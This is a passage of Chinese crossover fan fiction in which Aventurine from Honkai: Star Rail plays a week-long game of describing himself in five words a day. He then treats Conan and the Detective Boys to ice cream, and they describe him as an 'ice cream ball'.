卡卡瓦夏也不知道垃圾桶有什么分类、上面又具体有些什么,于是试探性地给自己找了个定位,【垃圾桶盖? 】 有桶的话、那应该就会有盖?卡卡瓦夏机智地想到。 “停,你别说了,”砂金打断了卡卡瓦夏,面对排排坐、准备当心灵垃圾桶听八卦的两人两幻影,砂金捂脸缓了缓, 还缺一个爱翻垃圾桶的星核精,他们就可以组团出道了——所以不要在这种事情上这么有默契啊! “真想听的话,其实也没什么不能说的。” 反正伊达警官保证过不会与他断绝关系了,砂金把键盘一推,晃了晃转椅,而对有些事情、砂金还真有点疑惑想问,有人愿意当免费的垃圾桶也挺好的, 等回到公司可就没有和别人畅快聊天的机会了,正好现在不吐不快、省得虚无天天想方设法地往他脑子里钻。 毕竟……他能有什么不能让他人知道的秘密?砂金想了想,认真算下来才发现、除了那些保密任务,他其实一个可以称的上是秘密的情报都没有。 有点好笑,星际和平公司P45的高管级人物,竟然是个没有隐私与秘密的透明人,是个人都知道他的身世与过去, 不过想到他曾经撒下的弥天大谎和死刑犯的身份,就好像又合理了——砂金是靠自己的本事出得名。 “我的从前没什么特别的地方,” 砂金简单概括了一下,“父母早亡,姐姐和族人们走得也早……一个人摸爬滚打地长大、一不小心就得罪了个大人物,可能他们觉得杀了我可惜、放了我又不安心,所以才把我收编了的吧,” “平时的工作也就是到处出出差、收收债什么的,过得也算充实……” 轻描淡写的几句话让听者大致拼出了砂金的人生,至于这几句话下暗含的痛苦与不堪……没有人会再去点出来。 松田阵平安静地听着,萩原研二捧着话头,“然后呢?工作上没有遇到什么大/麻烦吧。” “应该没有?相比较那些赖账的硬点子,我的部下们更有意思一些,”砂金指了指自己,“他们还特意组建了我的专属后援团给我打榜,那可真是很有趣的体验。” “只是我不理解一点……” 砂金停顿了一会儿,两人没催促,组织好语言的砂金继续说道,“你们说,神明……应该是什么样子的呢?” “反正,”砂金轻笑了一声,摊了摊手,“总不会是我这种赌徒吧?” 特里纳和格查尔,到底是怎么想的呢? 第96章 砂金并没有把自己的过去说的太过详尽, 一来,现在并不是需要卖惨博同情、或是需要示弱套话等等的场合,他没必要在卡卡瓦夏还在的这时把血淋淋的伤口扒开给儿时的自己看, 二来, 太详尽的信息听上去并不真实, 不然他要告诉萩原研二他们, 自己是埃维金人、老家在茨冈尼亚、平时在星际和平公司上班吗? 那回头萩原研二和松田阵平稍一调查, 就会发现——这个世界上, 根本就不存在那几个名词。 萩原研二两人也不知道特里纳一事,但他们知道格查尔总是认为砂金就是神明,所以砂金的简述并不防碍两人听懂砂金在困惑些什么。 “虽然我不是什么自卑自厌的那种性格、总觉得自己什么都配不上, ”砂金很有自知之明,他对那些贬低的评价只是习惯而非全然认同,“但我也没自大到觉得我能到比肩神明的那种地步吧, ” 尤其是在“神”真的存在的那个世界, 星神伟力绝非凡人可触及。 “我明明什么也没做,他们倒是把我捧的太高了点。” …… “我大概知道你的问题了,”萩原研二抬手摸摸自己的下巴,说道,“你对自己的定位不是很清晰啊,你不够了解你自己。” 砂金:“……我哪里不清晰了?哪里不了解了?” “得了吧,防爆盾都没有你的嘴硬, ”松田阵平撇嘴,“上次你还想说你不在意班长的看法呢。” 砂金:“……” 「砂金」把卡卡瓦夏从椅子上抱在怀里放声大笑,可算是有人和他站在统一战线、一起揭砂金老底了, 【我喜欢这个家伙哈哈哈! 】 “这样吧,” 萩原研二灵光一现, “我不是什么心理医生,但也有些没什么坏处的小偏方,你要不要试试?” —————————— 还是那间书房, 不过距离和萩原研二聊天那天的时间又已经过去了一周,工作用的电脑也没打开,砂金坐在桌前对着摊开的笔记本,握着笔沉默着…… 【词穷了? 】「砂金」探头瞅了瞅砂金的笔尖,水笔头按在空白的纸上一动不动、静静地晕开了一个黑点,【这么快?今天可就是第七天了啊、朋友……】 【你行不行啊? 】 “混蛋、”砂金从牙缝里挤出几个字,“闭嘴。” 什么偏方……一点用都没有,还尽让「砂金」看他笑话!砂金怀疑自己是被鬼迷了心窍,竟然真的去试了试萩原研二的建议,还和萩原研二打了赌…… …… “一个小游戏,希望我们的赌徒大人能喜欢,”那天萩原研二打趣着对持怀疑态度的砂金说道,“每天写下五个词语用来形容你自己,看看你能坚持几天。” “游戏?是要和我赌一局吗,”砂金对萩原研二说的游戏内容不以为然,每天五个词难道他还写不出来吗。 “你想那么理解也可以,那就……小阵平来当个裁判吧,”萩原研二很懂什么叫对症下药,“我赌砂金酱坚持不到一周的时间。” 和赌徒聊天,就要用赌徒的方式说话。 “朋友,别怪我没提醒你,”砂金来了些兴趣,“上一个和我玩类似的赌局的人……现在可都还在辛苦地加班还债呢。” 你说对吧,和我赌过谁更了解“砂金”、并且输得一塌糊涂的安室透、安室先生? “hagi我可是有前提限制的,” 萩原研二掰着手指头,细数着规则,“第一,所有的形容词汇不能是纯负面的词汇,可以有不好的形容、但不能是单纯的脏话,这个好理解吧?” 砂金点头,“第二?” “第二,词汇不能重复,同一个意思的不同说法那种也不算数,”萩原研二继续补充,“第三,形容词汇必须和你自己有关,不能随便凑数,” “以上,就这三点。” “我可不喜欢出千的人,”砂金自信满满地应下了萩原研二的小挑战,虽然这场游戏听上去没有什么难度、不足以让砂金去赌上性命, 但赌徒从不拒绝赌局。 …… 而砂金摊开在面前的笔记本前几页,写着的正是这几天的“五个形容词”,砂金对待赌局一向很认真。 第一天, 砂金想都没想,笔尖顺畅地在纸面上滑动,墨痕写下一个个词语 ——骗子,交际花,小偷,赌徒,讨债人。 轻轻松松,砂金轻挑下眉、没把这个挑战当一会儿事,每天最多花个一分钟的时间就解决了, 一周七天,花七分钟做一件事难道很难吗? 一点挑战性都没有,砂金撂了笔、不再在意地做别的事去了。 …… 第二天, 早晨起床,打开笔记本的砂金换了一页,依旧流畅地写下新的形容词 ——资本家,虚伪,疯子,死刑犯,阴谋家。 总共耗时依旧在一分钟之内,砂金感觉没什么意思、萩原研二是想让他无聊到自动认输吗? 想着,找乐子解闷的砂金去赌场玩了一天。 …… 第三天, 头天与骰子和酒精约会的时间有点久,玩得太晚、有些醉宿的砂金打了个哈欠,起得比之前晚了一些。 等坐在桌前准备查看一下基金的时候,砂金看见笔记本、才想起来和萩原研二的赌约。 ——风险爱好者,诈骗犯,野心家,幸运儿,奴隶。 完事,砂金转头正要摆弄电脑,「砂金」探出头提醒道,【我姑且将“风险爱好者”与“赌徒”视作不同含义的形容词,但“诈骗犯”和“骗子”的意思还是有些太近了吧? 】 【还记得赌局的第二条规定吗? 】 重复含义、不计入数。 砂金顿了顿,只好把“诈骗犯”一词划掉,补充上去了一个“下等人”。 好吧好吧,砂金承认这游戏有那么一点点的难度了,不注意一点容易忽视一些小细节。 …… 第四天, 再次打开笔记本的砂金耐心了很多,先看了一遍自己之前写的,然后才又下笔…… ——混蛋, 【规定第一条,不能是纯粹的脏话,朋友。 】 抬手划掉上一个词,砂金继续写道 ——贱奴, 【很好,即是脏话、又和“奴隶”重复了含义,一次违反了两条规定,扣五分。 】 继续划掉,然后再继续写, ——该死的赌徒, 【只是在“赌徒”前面又加了个形容词吗? 】「砂金」摇摇头,感慨万千,【拉帝奥教授一定会十分欣慰于你在投机取巧上体现出来的这点小聪明、让你显得还没有过于愚不可及。 】 砂金……砂金忍了忍,再次划掉刚写下的词,继续 ——幸存者。 【这和“幸运儿”有区别吗? 】 “闭上你的嘴、我不会把你当哑巴的!”砂金抬头怒瞪了看热闹的「砂金」一眼,都是因为这个家伙老是打断他、他思路都断了! 【咦~】聒噪扰人的「砂金」摊下手,【又生气了? 】 砂金不想理「砂金」,不过像个阿蒂尼孔雀一样叫得难听的「砂金」也给了他新的启发,别人贴他身上的标签和对他的漫骂写完了、也可以再写点别的,比如 ——自大狂,花孔雀,笑面虎,两面派,还有狐狸精。 把笔记本啪地一合,砂金把「砂金」口中【你是想开动物园了吗】的嘲讽丢在了脑后,他开始觉得这个挑战有点意思了。 …… 第五天, 深呼吸一口气的砂金拿出了更为认真的态度,一笔一划的开始写道 ——懦夫,永远的赢家,命运的输家,胆小鬼,逃跑者。 “你不用提醒,我知道懦夫和胆小鬼重复了,”砂金在「砂金」开口前堵住了对方的话,砂金垂下眼、划掉“胆小鬼”沉思了一会儿,重新写上 ——领导者。 砂金承认,他有些找不出来别的词了,别人形容他的那些词要不含义重复、要不就是一些难以入耳的污言秽语,只能把高管的身份拎出来勉强合格的凑个数了。 今天的挑战完成了……砂金突然有几分恍惚,那明天的呢? …… 第六天, 坐在桌前的砂金发了很长一段时间的呆,然后开始写着, ——母神赐福之子,爸爸妈妈的孩子,姐姐的弟弟,幸运与机遇,埃维金最后的血脉。 其实,这里也还是有部分含义重叠的词汇,但这一次「砂金」没再进行挑刺,一个好的进步,砂金不再敷衍地拿他人的言词形容自己,而是开始审视自身了。 …… 第七天, 也就是现如今的此分此秒,砂金还在严谨地思考着,还有什么样的词、可以用来形容他这个人呢? 第97章 做为花言巧语的代表,砂金很少有这么词穷的时候,非要写个答案的话、砂金也不是绝对就写不出来的, 但砂金好像从这个“小游戏”中意识到了什么,笔尖迟迟未动。 砂金, 从不是愚钝之人。 【自己没有主意的话, 】「砂金」建议道, 【出门走走吧, 去问问其他人……我们还有一整天的时间来赢下这场赌局, 不必心急。 】 “谢天谢地,你终于良心发现、不打算继续挖苦我了, ”砂金把笔放下、合上笔记本, 决定听「砂金」的试试, “要一起吗?” 【不了,】「砂金」半透明的蓝色身形慢慢地变得更淡, 【我今天打算带卡卡瓦夏去东京塔玩, 还有、我们晚上也不回来了,听说长野的烟花很好看,我准备好好欣赏一番。 】 砂金:…… 东京塔和长野……他都还没有去过呢。亏他还担心两人会不会太无聊,结果他们比他还会玩啊! 砂金有理由怀疑,之前「砂金」没第一时间跳出来给他找麻烦的时间里、对方都正带着卡卡瓦夏在他看不到的地方逍遥快活着。 “真是难为你在充实的旅游计划中,还能挤出来点空、来看看我这个可怜的本体了,”砂金没好气地吐槽道。 【没办法,我就是这么个关爱家人的人。 】 “这时候想起来自己是同谐的产物了?” 【我可从未忘过自己的身份。 】 彻底消失前,「砂金」戏谑一笑,【拜拜啦,希望你这次不要真的输了~ 】 “输吗?”砂金起身准备出门,“那可真是个遥远的话题。” —————————— 出门,要去做些什么呢? 八木海还在努力找那个炸弹犯,这几天又轮到萩原研二和松田阵平执勤坐班,伊达航那个大忙人更不必说了,娜塔莉夫人也要上班,现在最闲的人就是砂金了。 砂金一个人有点漫无目的地在路上压马路,肯定不能再去赌场之类的地方, 问那些赌客和荷官“你觉得我是什么样的人呢?”、恐怕只能得到和“好运的赌徒”类似的评价。 正想着,砂金突然停下脚步、又后退了一点距离,没过多久, “哎呦——!” 砰一声,不大点的小孩子被拐角的石头绊倒,啪叽一下摔在了地上。 …… “小朋友,你没事吧?” 摔得不轻的柯南刚爬起来的时候还有点晕乎乎的,下意识看了一眼伸到了他面前的、戴着好几枚戒指的修长手掌说道,“我没事……” 这种有点夸张风格的装扮,有点眼熟——这是柯南脑袋里的第一反应。 下一刻抬头之时,柯南心脏猛得一跳——何止眼熟,面前这人、不正是那个神秘的砂金吗? ! “嗨,柯南君~”砂金见柯南没扶他的手起身的意思,干脆蹲在了柯南面前、友好地笑了笑,“这么着急地跑来跑去,是打算去做什么呀?” 提前听到脚步声的砂金都已经有意避让了,结果柯南还是没看路、跑的匆忙摔了个结实。 对,差点忘了这个! 柯南头皮一麻,好像故意要给他一点刺激和压迫感一样,不远处传来了小孩子的呼叫声, “柯南君!你跑哪里去了?” “元太,你那边有看见柯南吗……” “应该是往那边跑去了吧?” 砂金也听到了另外几个小朋友的声音,笑了笑,“没想到柯南还很受欢迎啊……是不想和朋友们一起玩吗?” 心情复杂的柯南有点眼神死——他并不想要这种受欢迎啊! 拜现在的这幅小孩子的身体所赐,阿笠博士……还真帮他办了个入学手续,入的小学,而插班生柯南在上学的第一天就成功吸引了三位热情无比的小孩子的注意力。 柯南原本是不想躲的,他怎么说也是个高中生了、当然不会和小孩子们一般计较, 但耐不住那三小只想去玩“鬼屋探险”啊! 更让柯南难绷的是,三位同学找的“鬼屋”……还是他工藤新一的家。 柯南很想说,他只是变小后很久没回家了、不是死了,工藤宅也不是“鬼屋”! 但推脱不了小孩子的热情的柯南只能选择找个借口开溜为敬,他总不可能真领着三小只去他家探险吧? ! 而三小只,似乎仍想说服有些“孤僻”的新同学加入到探险中,帮助柯南更好的融入到新环境里。 “要我帮忙吗,朋友?”砂金歪了下头问道,柯南好像并不想被那几个孩子找到。 听着步美元太他们越来越近的聊天声,柯南别无他法、只好点了点头,“如果可以的话……” 这个好办,砂金解下披在肩上的大衣披在柯南身上,又把装饰性远大于实用性的大衣帽子盖在了柯南头上,腰一弯、手一伸,稳稳当当地将人抱了起来。 坐在砂金手臂上的柯南一僵,手下意识抓住了砂金衣领上的装饰皮带,他是有很多年没体验过这种抱小孩式的姿势了。 “坐稳喽,”砂金提醒一声,转身抱着小孩子就走,“要回毛利小姐那里吗?” 不过因为帝丹小学正在举办校园祭的关系,今天小学放假、但高中部仍在上课,毛利小姐现在应该是还在学校,毛利事务所应该只有毛利先生在,砂金不知道柯南想不想回去。 噢、对,校园祭还是砂金平时和娜塔莉夫人闲聊的时候知道的,距离帝丹高中的校园祭也不远了,娜塔莉夫人还专门问过砂金要不要到时也去玩一玩, 娜塔莉夫人立志于让没上过学的砂金拥有一段美好的校园体验。 砂金的回应则是,有时间的话他肯定会去的。砂金并不打算浪费娜塔莉夫人的好意,但还是要看这个混乱的时间线留不留给砂金空出时间去玩的机会了。 “不、不用了,去哪都可以……”柯南小声回复着砂金,事务所肯定会有一位酒鬼大叔在呼呼大睡,他没想那么早回去。 可以的话,柯南更想去找阿笠博士、问问还有没有什么好用的道具可以借他用用。 不过可惜,砂金刚出门、也不打算再拐回去——砂金和阿笠博士是邻居——干脆就带着柯南继续压马路好了。 就这样,在柯南的配合下,砂金抱着柯南顺利路过了正在找人的三位小学生,又很自然地远离了吉田步美几人。 “步美,”光彦伸手在步美面前晃了晃,“不找柯南君了吗,你在看什么呀?” 光彦顺着步美的视线看过去,正好看见了砂金的背影,“你在看那个漂亮的大哥哥吗?” “嗯,”步美点点头,有点犹豫,“我见过那个大哥哥……” “找到柯南了吗?”元太赶过来喘了口气、体重不轻的他跑得有点累了,“他跑得也太快了吧,我肚子里的鳗鱼饭都要被消化掉了……” “我们现在在聊别的了啦,元太,”光彦说道,“步美说她认识刚刚那个大哥哥,我们要不要问问他、有没有见到柯南去哪了呢?” “还是不了吧,”步美小声地说道,“我也和他不是很熟,只是在游乐园里见到过一次……而且,而且……” 光彦不解,“而且什么?” 步美闭了闭眼,终于鼓起勇气说道:“而且我感觉他…他有点怪怪的!” 这话一说出口,后面的也就自然多了,步美接着说道,“我看见那个大哥哥总是在和空气说话,好像他身边还有一个我看不见的小孩子在一样,” “我还听到旁边一起排队的其他大人说最好要、要离这个大哥哥远一点,说大哥哥的脑袋可能有问题什么的……” 那天在游乐园的旋转木马前,被砂金拦住了的小姑娘正是吉田步美,又因为砂金不加掩饰的奇怪举动、引来了有些旁观之人的窃窃私语, 人之趋利避害的本性所使,遇到有些奇怪、好像不太正常的人,大部分人的本能反应都是尽量远离、不去招惹对方, 而那些人不敢当着砂金的面说,私下里和同伴小声说话的声音倒是让人小又不起眼的步美听了个完整。 “原来是这样啊……”光彦应了一声,突然想起了什么、又大叫了一声,“啊、糟糕了!” 步美和元太齐齐地被吓了一跳,异口同声地问道:“怎么了?” “刚刚那个大哥哥是不是抱着一个很安静的小孩子,”光彦着急紧张地问道,“我在书上看到过,有些人脑袋生病了之后、会控制不住地做一些很危险的事,” “那……那个小孩子会不会也遇到什么危险啊?!” 第98章 “朋友, 这个忙好像有点不太好帮了呢。” 抱着柯南四处溜达的砂金放慢了脚步,他能感觉到那三个小孩子、以一种很拙劣的跟踪技术在悄悄地尾随他。 真是奇怪……砂金有点不解,他哪里有不对劲儿的地方, 吸引到小朋友们的注意力了吗? 他应该不是会让小孩子下意识喜欢和觉得亲近的人吧,砂金这么想着,从那个才一岁多的星核精宝宝对他的态度就能看出来了,他真不是那种类型的。 柯南拽着帽子捂着脸,今天脸是丢了、但还是没逃掉啊! 可……多少比去自己家鬼屋探险要强一点。 “把我放下来吧, ”也发现了那几条小尾巴的柯南放弃挣扎,“他们……呃,可能是误会什么了,要是再报警了就难办了。” 砂金也这么认为,小朋友们不可能是因为喜欢他而跟着他、那就肯定是有别的什么变故啦误会啦在里面, 而砂金甩肯定是能甩的掉他们的,可要是小朋友们着急上火真误报了警,那就更尴尬了。 不过砂金没放下柯南,“走吧,碰上了也算缘分,今天我请客。” 说着、砂金转动了些方向,向他记得的一家味道很不错的冰淇淋店走去,边走着还边注意着后面猫猫祟祟的小家伙们有没有跟上。 担心发生危险而选择“暗”中观察、偷偷跟着的三小只,就像被逗猫棒钓着小猫一样坠在砂金身后。 砂金时不时加快一下脚步、三小只迈着小短腿哒哒哒跟上,遇到路口砂金就走的慢了一点,耳朵尖点还能听到小孩子含糊不清的小声说话声, “元太!你小点声…会被发现的……” “我这不是累了嘛……” “快跟上!他又动了!” “哈, ”砂金逗得很开心、感觉放松了不少,柯南脸上隐隐冒出了无语两个字,不太愿意相信“高深莫测”的砂金会是这么个有点恶趣味的家伙。 好在,柯南一直都未从砂金身上感觉到恶意,砂金只是单纯的在逗小孩子玩而已——回想起之前自己作为工藤新一时和砂金几次接触,对方好像也就是现在这个态度。 是本身性格便是如此,还是只是偏爱单纯一些的小孩子和人?柯南暗自分析着,砂金身上的秘密好像太多了,容不得他不小心。 没多久,砂金也到目的地了,推开冰淇淋店的玻璃门,砂金朝后面因为他转身太突然、还没有来得及藏好而在拐角处露出了半个鞋尖的小朋友们道,“喜欢什么口味的,我要点单了。” 步美小心翼翼地收了收脚尖,“他在和谁说话?” 光彦摇摇头:“不知道……” 元太确实是饿了:“我也想吃冰淇淋了,我喜欢鳗鱼饭口味的。” 光彦:“冰淇淋没有那种口味啦!” 元太:“那我要橙子味的!” “那一份……小份的橙子味冰淇淋球可以吗,吃太多凉的对身体不好,”砂金说完又接着问道,“还有那位可爱的小小姐和小先生呢?你们想吃什么?” 步美:“!” 光彦:“被发现了!” 元太:“所以我有冰淇淋吃了吗!” 步美和光彦齐齐扭头看向开始嘴谗的同伴,异口同声地道:“重点是他发现我们了哎!” 砂金怀里的柯南探头、幽幽地开口道,“砂金……砂金哥哥他早就发现了啊。” 柯南知道他不能对几个才六、七岁的小学生要求太高,但就这样还想去“鬼屋”……他们真的没关系吗?别再自己把自己吓得到处乱跑、遇到危险。 “是柯南!” 柯南一露面、原本还紧张接下来该怎么办的三个人、眼睛齐刷刷地亮了,小孩子大概就是这样的吧,一个人会害怕、但只要有一个不害怕的人就都没什么可怕的了。 “柯南刚刚怎么不说话啊,我都担心死了。” “就是就是!” “偷偷跑掉可不好!” 三个孩子顿时把“砂金脑袋好像有问题”的前提忘了个一干二净,叽叽喳喳地围了上来,砂金好笑地把人都带到店里找了个位置坐下。 “刚刚柯南跑太快摔跤了,所以我才抱着他的,”砂金帮柯南解围的同时、还不望逗逗小孩子,“不和你们说话是怕被你们发现哭鼻子了吧。” 柯南:“……我才没有呢!” 总之,三小只和柯南、以及砂金最后还是坐到了同一张桌子上,一人捧着一杯冰淇淋球吃得很是开心。 三小只还不忘相互对视一眼,对砂金齐声说道:“谢谢大哥哥!” “不用谢,”砂金笑笑,想着现在「砂金」和卡卡瓦夏应该也到东京塔了,说不准「砂金」现在正在塔尖上捧着卡卡瓦夏玩举高高呢。 “所以你们怎么想到跟着我们的?”砂金很好奇。 “这个……” “哈哈、那个……” 三颗小脑袋你看看我、我看看你,也知道背后说人“坏话”不好,尤其是这个大哥哥还请他们吃了很好吃、但因为太贵了平时很少吃的冰淇淋了,也就更加不好意思了。 “大哥哥、对不起!”步美决定由自己开口,“我、我不知道你和柯南认识……之前在游乐园又听到有人说大哥哥你的脑袋生病了、总是在和不存在的人说话,所以才、才害怕柯南会有危险……” 砂金恍然大悟,原来是因为这样啊……他那天心思全放在卡卡瓦夏身上了,也没记住步美这个有着一面之缘的小家伙。 听了一耳朵的柯南警觉一瞬,对比步美几人、柯南对这类信息更加敏感。 不存在的人……是幻视幻听吗?柯南暗中又观察了一下挂着笑脸、好像并没有觉得被步美冒犯到的漂亮男人,他无法从那双奇异的眸子中看出什么特殊的情绪。 “那步美……是吧?你们很勇敢哦,”砂金表扬了一声,解释道,“不过并不是不存在的人,你们……” 砂金想了想该怎么让小朋友们能听懂,“你们知道幻想伙伴吗?” Tulpa ,一种系统性的思维练习方法,有时则可以指代能够独立思考、拥有自觉的幻想朋友……对心理学有些浅显了解的柯南知道这是什么意思, 有些人会有意通过思维练习、冥想等方法创建独属于自己的幻构朋友,并承认Tulpa是真实存在的个人,以此缓解自身的孤独、治疗自己等等。 而类似于Tulpa的这种情况也并不算得上罕见, 诸如有些小孩子会十分确信虚拟人物是真实存在于他们身边的,电视里的假面超人啊、爸爸妈妈买回来的小熊玩具啊、洋娃娃等等都会说话、都会陪着他们一起玩; 还有些人在儿时会有一个玩得非常要好的小伙伴,长大后的一天……也许是在和其他人聊天时谈及到这位小伙伴,随后才突然发现、其实他身边根本就不曾存在过这样一个朋友; 还有他老爸在构思小说时、经常出现的独立行为者错觉,感觉笔下的角色是真实存在着的,并且能在脑袋里和自己这位笔者进行对话、讨论后续剧情什么的; 这些也都算是很正常的心理学现象了。 所以……柯南思考着,这位神秘的砂金就是这样一名图帕实践者,而步美说的不存在的人是砂金的Tulpa ? “这个我知道!”柯南思考的同时,光彦也举手了,“我在书上看到过,是像圣诞老人那样的朋友吗!” 光彦看的应该是儿童科普读物吧,柯南轻点了下头,圣诞老人也算是传播最广的、类似于“幻想伙伴”一样的存在了,至今仍有不少小孩子认为圣诞老人是真实存在的人。 “呃……应该是一样的吧,”砂金也不知道什么叫圣诞老人,但这不妨碍他顺势下台阶,“不过我的朋友有些特殊,只有我一个人能看见我的专属伙伴哦。” “哇!大哥哥好厉害啊!” 三张嘴巴连冰淇淋都不吃了,忍不住一起感叹了一声、齐刷刷地用羡慕的目光看向砂金,在小孩子看来,只有自己能看到的、有特殊能力的朋友,这不就是神秘的小精灵吗? 能和小精灵做朋友,这也太酷了吧! 砂金直了直腰,继续故弄玄虚地道,“而且,我还有两个呢~” 三小只更大声了,“哇——!” 原本打算去糊弄心理医生、才抽空自学了一点心理学的砂金心情不错地点了下头,有幻想伙伴的这种说法…… 听起来可比“他脑子有病、出现幻觉了”要好听得多了。 第99章 “我可以和他们聊天吗!” “那他们喜欢吃什么?” “他们会喜欢步美吗?我可不可以和他们做朋友?” “他们也像圣诞老人那样会骑麋鹿、爬烟囱吗?” “我也可以有这样的朋友吗?” 小家伙们顿时七嘴八舌的围了上来,砂金很有耐心地一一回答着,“现在恐怕不行,他们今天出去玩了、不在我身边,所以不能聊天了, ” “喜欢吃的东西应该是喜欢吃的东西吧,哎呀、我没敷衍你们,他们平时不怎么吃东西的。” “还有步美这么可爱,他们肯定会喜欢你这样的朋友的, ” “应该不会骑鹿……他们回家也不走烟囱,正常情况下是走门、非常情况是直接穿墙, 是不是超厉害?” “超厉害——!”x3 …… 一方在异想天开地问,另一方在天马行空地答,柯南捧着有点化了的冰淇淋球、嘴角微抽地看着面前这“和谐友爱”的一幕, 不是说这样的一幕不好,而是……柯南觉得好像没有什么童心的他自己、显得有些格格不入了。 砂金这个人给他的感觉……好怪,柯南吃了口冰冷冷的冰淇淋冷静一下,仅从表面上看,砂金好像没有什么异常的地方, 仿佛只是一个有些自大但性格很好、喜好张扬、出手阔绰——请客吃冰淇淋一事暂且不说,砂金此前的回礼价值可也都不便宜——的普通人, 在对待小孩子时会更宽容一些,平时和邻居朋友相处的也很和谐, 阿笠博士对砂金的第一印象也非常之好。 但,是…… 吃着冰淇淋的柯南想着,谁能想到、这样一个人,在几个月前,还仅仅只是被警察搜救下来的、连身份证明都没有的受害人呢? 柯南承认, 他的确是有意去调查了一下砂金——当然,是从合法途径——从一开始、砂金就总给他一种若有若无的违和感,而越是深入了解、这种违和感便就越强。 几个月的时间,从身无分文的受害人、摇身一变成了满身名牌的“纨绔”……种种反差,很难不让柯南胡乱地想些别的什么, 在每一次遇见砂金的时候,柯南都在头脑风暴。 而且还都是一无所获的“头脑风暴”……柯南突然泄气,大口大口地挖着冰淇淋球,每次都想那么多又有什么用, 之前是工藤新一想和砂金先保持一下安全的距离、随后再作他想,结果现在倒好,柯南和砂金两个人之间干脆就没有什么可以深入交流的交际了。 等吃完冰淇淋,两人估计和那时候去砂金参加派对一样,又该各做各的事、各走各的路了…… 所以,柯南想到那个和毛利兰有关、最后却戛然而止的案子,有些不甘心, 真的不会再有后续了吗? “想什么呢,”脑袋顶上突然被一只手揉了揉,柯南抬头、发现是砂金在看着他,砂金重复道,“刚刚光彦在问柯南、你有没有幻想伙伴哦。” 不过柯南在走神,并没有反应。 “我……啊,我没有啦。” 听到柯南也没有那种特殊的朋友,同样没有的三小只心里平衡了一些,但砂金在三位小朋友的心里已经彻底地占据了一个更为特殊的位置了, 和砂金哥哥交朋友,也超级超级酷的有没有! “好了,”见小家伙们都吃的差不多了,砂金单手撑着下巴、提出了新的话题,“看在美味的冰淇淋球的面子上,各位可以也帮我一个小忙吗?” 砂金这话引得柯南侧目,对比不知道几个小学生能帮砂金什么忙的柯南、步美几人很是热情的当场应下, “当然可以啦!” “那我提前谢过小朋友们了,”砂金眯眯眼,终于问道,“你们觉得我是个什么样的人呢?” “能不能用一个词来形容我?” 柯南几人是砂金出门后遇到的第一批人,砂金打算从小家伙们这里得到今天的第一个词汇。 “大哥哥等一下,我们要先商量一下!” 小孩子的直觉也不容小看,步美好像知道这个答案对砂金很重要、又或者只是单纯的认为他们应该认真思考后再给出砂金一个答案, 步美拉上柯南,几个毛绒绒的脑袋挤在一起开始说起小话来,砂金也有意放空自己、没去听小孩子们的聊天内容, 最后不管是什么形容都行,砂金想,他都可以接受。 …… “柯南,你有什么好想法吗?”步美向柯南问道,“你之前就认识砂金哥哥,肯定会比我们有主意吧……” 有是有,但不一定是“好”想法……柯南感觉有点尴尬,他能在砂金身上看到的词汇、可能不太适应让天真无邪的小孩子们听到。 “我就算了吧,”柯南委婉地把话题引回到步美他们那里,“你们大胆的想就好了,砂金哥哥也许就是想知道新朋友们对他的印象呢?” “有道理哎,”光彦点点头,“那步美,我们自己想吧。” “我先来!”嘴边还沾着丁点冰淇淋的元太自告奋勇地说道,“我觉得砂金哥哥是个很大方的好人!” 柯南沉默——这个评价当然没问题,但是不是有点太简单直白了啊? “会不会太普通了,”心思要比同伴更细腻一些的步美摇头,“老师说我们可以再多加一点形容和比喻词来表达感情,比如……” “砂金哥哥像是、像是……不断重复循环、但又有些不同,相互缠绕、绵延不绝,平静温和、但韵律很长的卡农……” 元太听晕了,“卡农是什么?” “是我上个礼拜刚学的钢琴曲啦,老师就是这么告诉我的、它既平凡又深奥,也真的很好听!”步美握了握拳,“等我学会了,就弹给大家听!” 卡农曲,很常见的钢琴入门练习曲式,柯南眼前一亮,步美的这个形容很不错,是和看起来平常简单、实则蕴含颇深的砂金挺像的,但…… “但这个形容会不会又太长了,”光彦挠了挠头,“而且我还有点听不太懂。” 元太很赞同光彦,“我有新主意了,要不就说砂金哥哥像鳗鱼饭好了!我最喜欢鳗鱼饭了!” 很好,不仅表达了感情、还加上了形容,柯南内心吐槽,就是俗了不止一丁半点。 不过元太给了步美新的灵感,步美兴奋起来,“要不然就……” …… 小家伙们讨论的很热烈,但也没让砂金久等,砂金看向红了红脸、有些害羞的步美,这次依旧是最热情的小姑娘代为发言, “我们想好了!”步美握了握拳头,给自己打气的同时,对砂金道,“砂金哥哥就像是……” “冰淇淋球!” “冰淇淋球?” 砂金低头看了看小碟子里只剩下一点残留的食物,没看出来自己和对方有什么地方是相似的,“为什么这么说?” “不会是因为你们喜欢吃冰淇淋,又喜欢我……所以我就等于冰淇淋球了吧?” 小孩子的逻辑让砂金真心的想要会心一笑,不过他会接受这个词的,然后将这几个字写在他的笔记本上。 “不只是因为这个原因哦,” 步美人小鬼大地摇了摇头,解释到,“砂金哥哥和冰淇淋球真的很像,” “刚从冰箱里挖出来的时候是凉凉的、硬硬的,但只要这样子……”步美把小碟子捧在手里,“捧一小会儿,就会像这样子、慢慢化点,变得软软的了!” “吃到嘴巴里也是甜甜的味道,” 步美认真地道,“我们真的很喜欢这样的砂金哥哥!” 第100章 冰淇淋球…… 原来是这种含义吗? 砂金感觉……他的心脏也快变成冰淇淋球被这些小家伙们融化了, 眉眼忍不住弯了又弯,与以前的各种“绰号”相比,他很喜欢现在这个形容。 难怪慈玉女士喜欢往自己家里捡小孩子, 砂金彻底理解了, 和尔虞我诈、恨不得直接吃人的棘手家伙交往得多了,正需要这种天真烂漫、好骗到不管说什么都会信的小家伙们来放松放松心情。 “谢谢了, ”砂金真心地进行了道谢, “我也很喜欢你们”。 三小只相互击了个掌, “好耶——!” …… 最后又和小朋友们玩了一会儿,分别的时候还是到了, 砂金朝小朋友们摆了摆手, 低头问向唯一留下、还没有决定好去向的柯南, “你有想好要去哪吗?” 因为砂金这个“意外”,步美几人完全忘了要去工藤宅探险的这件事了, 还记得的柯南也不会自找麻烦地提醒对方, 他巴不得步美他们忘得越久越好。 “这个时间……”柯南看了看手上的腕表,“小兰姐姐应该快放学了,我去学校门口等她一会儿、一起回家好了。”反正他不是很想一个人面对那个酒鬼大叔。 正巧柯南也给了砂金一个方向, “嗯,去找娜塔莉夫人探个班,好像也很不错的样子?”砂金暗自考虑着,午休时间去、就不用担心打扰娜塔莉夫人工作了, 而且他还真没探过什么正经的班, 在公司的时候,他的那些个同事领导们可不需要他去探班, 